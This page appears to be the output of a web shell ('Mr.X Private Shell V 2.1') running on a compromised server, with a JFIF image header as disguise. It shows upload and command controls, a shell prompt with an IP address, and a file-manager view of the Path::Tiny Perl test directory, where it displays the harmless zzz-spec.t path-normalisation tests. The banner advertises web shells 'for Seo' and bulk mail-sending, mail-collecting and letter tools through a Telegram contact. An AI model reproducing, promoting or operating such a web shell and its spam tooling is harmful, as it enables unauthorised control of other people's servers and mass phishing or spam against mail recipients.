����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use 5.008001;
use strict;
use warnings;
use Test::More 0.96;

use lib 't/lib';
use TestUtils qw/exception/;

use Path::Tiny;
use Cwd;

my $IS_WIN32 = $^O eq 'MSWin32';

# tests adapted from File::Spec's t/Spec.t test

# Each element in this array is a single test. Storing them this way makes
# maintenance easy, and should be OK since perl should be pretty functional
# before these tests are run.

# the third column has Win32 specific alternative output; this appears to be
# collapsing of foo/../bar type structures since Win32 has no symlinks and
# doesn't need to keep the '..' part. -- xdg, 2013-01-30

my @tests = (
    # [ Function          ,            Expected          ,         Win32-different ]

    [ "path('a','b','c')",                           'a/b/c' ],
    [ "path('a','b','./c')",                         'a/b/c' ],
    [ "path('./a','b','c')",                         'a/b/c' ],
    [ "path('c')",                                   'c' ],
    [ "path('./c')",                                 'c' ],
    [ "path('/')",                                   '/' ],
    [ "path('d1','d2','d3')",                        'd1/d2/d3' ],
    [ "path('/','d2/d3')",                           '/d2/d3' ],
    [ "path('/.')",                                  '/' ],
    [ "path('/./')",                                 '/' ],
    [ "path('/a/./')",                               '/a' ],
    [ "path('/a/.')",                                '/a' ],
    [ "path('/../../')",                             '/' ],
    [ "path('/../..')",                              '/' ],
    [ "path('/t1/t2/t4')->relative('/t1/t2/t3')",    '../t4' ],
    [ "path('/t1/t2')->relative('/t1/t2/t3')",       '..' ],
    [ "path('/t1/t2/t3/t4')->relative('/t1/t2/t3')", 't4' ],
    [ "path('/t4/t5/t6')->relative('/t1/t2/t3')",    '../../../t4/t5/t6' ],
    [ "path('/')->relative('/t1/t2/t3')",            '../../..' ],
    [ "path('///')->relative('/t1/t2/t3')",          '../../..' ],
    [ "path('/.')->relative('/t1/t2/t3')",           '../../..' ],
    [ "path('/./')->relative('/t1/t2/t3')",          '../../..' ],
    [ "path('/t1/t2/t3')->relative( '/')",           't1/t2/t3' ],
    [ "path('/t1/t2/t3')->relative( '/t1')",         't2/t3' ],
    [ "path('t1/t2/t3')->relative( 't1')",           't2/t3' ],
    [ "path('t1/t2/t3')->relative( 't4')",           '../t1/t2/t3' ],
    [ "path('.')->relative( '.')",                   '.' ],
    [ "path('/')->relative( '/')",                   '.' ],
    [ "path('../t1')->relative( 't2/t3')",           '../../../t1' ],
    [ "path('t1')->relative( 't2/../t3')",           '../t1' ],
    [ "path('t4')->absolute('/t1/t2/t3')",           '/t1/t2/t3/t4' ],
    [ "path('t4/t5')->absolute('/t1/t2/t3')",        '/t1/t2/t3/t4/t5' ],
    [ "path('.')->absolute('/t1/t2/t3')",            '/t1/t2/t3' ],
    [ "path('///../../..//./././a//b/.././c/././')", '/a/b/../c',       '/a/c' ],
    [ "path('a/../../b/c')",                         'a/../../b/c',     '../b/c' ],
    [ "path('..')->absolute('/t1/t2/t3')",           '/t1/t2/t3/..',    '/t1/t2' ],
    [ "path('../t4')->absolute('/t1/t2/t3')",        '/t1/t2/t3/../t4', '/t1/t2/t4' ],
    # need to wash through rootdir->absolute->child to pick up volume on Windows
    [ "path('/t1')->absolute('/t1/t2/t3')", Path::Tiny->rootdir->absolute->child("t1") ],
);

my @win32_tests;

# this is lazy so we don't invoke any calls unless we're on Windows
if ($IS_WIN32) {
    @win32_tests = (
        [ "path('/')",               '/' ],
        [ "path('/', '../')",        '/' ],
        [ "path('/', '..\\')",       '/' ],
        [ "path('\\', '../')",       '/' ],
        [ "path('\\', '..\\')",      '/' ],
        [ "path('\\d1\\','d2')",     '/d1/d2' ],
        [ "path('\\d1','d2')",       '/d1/d2' ],
        [ "path('\\d1','\\d2')",     '/d1/d2' ],
        [ "path('\\d1','\\d2\\')",   '/d1/d2' ],
        [ "path('d1','d2','d3')",    'd1/d2/d3' ],
        [ "path('\\', 'foo')",       '/foo' ],
        [ "path('a','b','c')",       'a/b/c' ],
        [ "path('a','b','.\\c')",    'a/b/c' ],
        [ "path('.\\a','b','c')",    'a/b/c' ],
        [ "path('c')",               'c' ],
        [ "path('.\\c')",            'c' ],
        [ "path('a/..','../b')",     '../b' ],
        [ "path('a\\..\\..\\b\\c')", '../b/c' ],
        [ "path('//a\\b//c')",       '//a/b/c' ],
        [ "path('/a/..../c')",       '/a/..../c' ],
        [ "path('//a/b\\c')",        '//a/b/c' ],
        [ "path('////')",            '/' ],
        [ "path('//')",              '/' ],
        [ "path('/.')",              '/' ],
        [ "path('//a/b/../../c')",   '//a/b/c' ],
        [ "path('//a/b/c/../d')",    '//a/b/d' ],
        [ "path('//a/b/c/../../d')", '//a/b/d' ],
        [ "path('/a/b/c/../../d')",  '/a/d' ],
        [ "path('\\../temp\\')",     '/temp' ],
        [ "path('\\../')",           '/' ],
        [ "path('\\..\\')",          '/' ],
        [ "path('/../')",            '/' ],
        [ "path('/../')",            '/' ],
        [ "path('d1/../foo')",       'foo' ],
        # if there's no C drive, getdcwd will probably return '', so fake it
        [ "path('C:')", path( eval { Cwd::getdcwd("C:") } || "C:/" ) ],
        [ "path('\\\\server\\share\\')", '//server/share/' ],
        [ "path('\\\\server\\share')",   '//server/share/' ],
        [ "path('//server/share/')",     '//server/share/' ],
        [ "path('//server/share')",      '//server/share/' ],
        [ "path('//d1','d2')",           '//d1/d2/' ],
    );
    # These test require no "A:" drive mapped
    my $drive_a_cwd = Cwd::getdcwd("A:");
    $drive_a_cwd = "" unless defined $drive_a_cwd;
    if ( $drive_a_cwd eq "" ) {
        push @win32_tests,
          [ "path('A:/d1','d2','d3')", 'A:/d1/d2/d3' ],
          [ "path('A:/')",             'A:/' ],
          [ "path('A:', 'foo')",       'A:/foo' ],
          [ "path('A:', 'foo')",       'A:/foo' ],
          [ "path('A:f')",             'A:/f' ],
          [ "path('A:/')",             'A:/' ],
          [ "path('a:/')",             'A:/' ],;
    }
}

# Tries a named function with the given args and compares the result against
# an expected result. Works with functions that return scalars or arrays.
for ( @tests, $IS_WIN32 ? @win32_tests : () ) {
    my ( $function, $expected, $win32case ) = @$_;
    $expected = $win32case if $IS_WIN32 && $win32case;

    $function =~ s#\\#\\\\#g;
    my $got = join ',', eval $function;

    if ($@) {
        is( $@, '', $function );
    }
    else {
        is( $got, $expected, $function );
    }
}

done_testing;
#
# This file is part of Path-Tiny
#
# This software is Copyright (c) 2014 by David Golden.
#
# This is free software, licensed under:
#
#   The Apache License, Version 2.0, January 2004
#

Filemanager

Name Type Size Permission Actions
data Folder 0755
fakelib Folder 0755
lib Folder 0755
00-report-prereqs.dd File 4.52 KB 0644
00-report-prereqs.t File 5.88 KB 0644
README File 214 B 0644
basename.t File 880 B 0644
basic.t File 9.06 KB 0644
children.t File 1.24 KB 0644
chmod.t File 1020 B 0644
digest.t File 1.25 KB 0644
exception.t File 1.26 KB 0644
exports.t File 674 B 0644
filesystem.t File 14.21 KB 0644
has_same_bytes.t File 2.04 KB 0644
input_output.t File 18.31 KB 0644
input_output_no_PU_UU.t File 579 B 0644
input_output_no_UU.t File 566 B 0644
locking.t File 1.37 KB 0644
mkdir.t File 1.52 KB 0644
mkpath.t File 1.46 KB 0644
mutable_tree_while_iterating.t File 1.43 KB 0644
normalize.t File 898 B 0644
overloading.t File 534 B 0644
parent.t File 3.06 KB 0644
recurse.t File 3.89 KB 0644
rel-abs.t File 7.88 KB 0644
sig_die.t File 533 B 0644
size.t File 4.76 KB 0644
subsumes.t File 3.16 KB 0644
symlinks.t File 1.51 KB 0644
temp.t File 4.99 KB 0644
visit.t File 447 B 0644
zz-atomic.t File 922 B 0644
zzz-spec.t File 6.62 KB 0644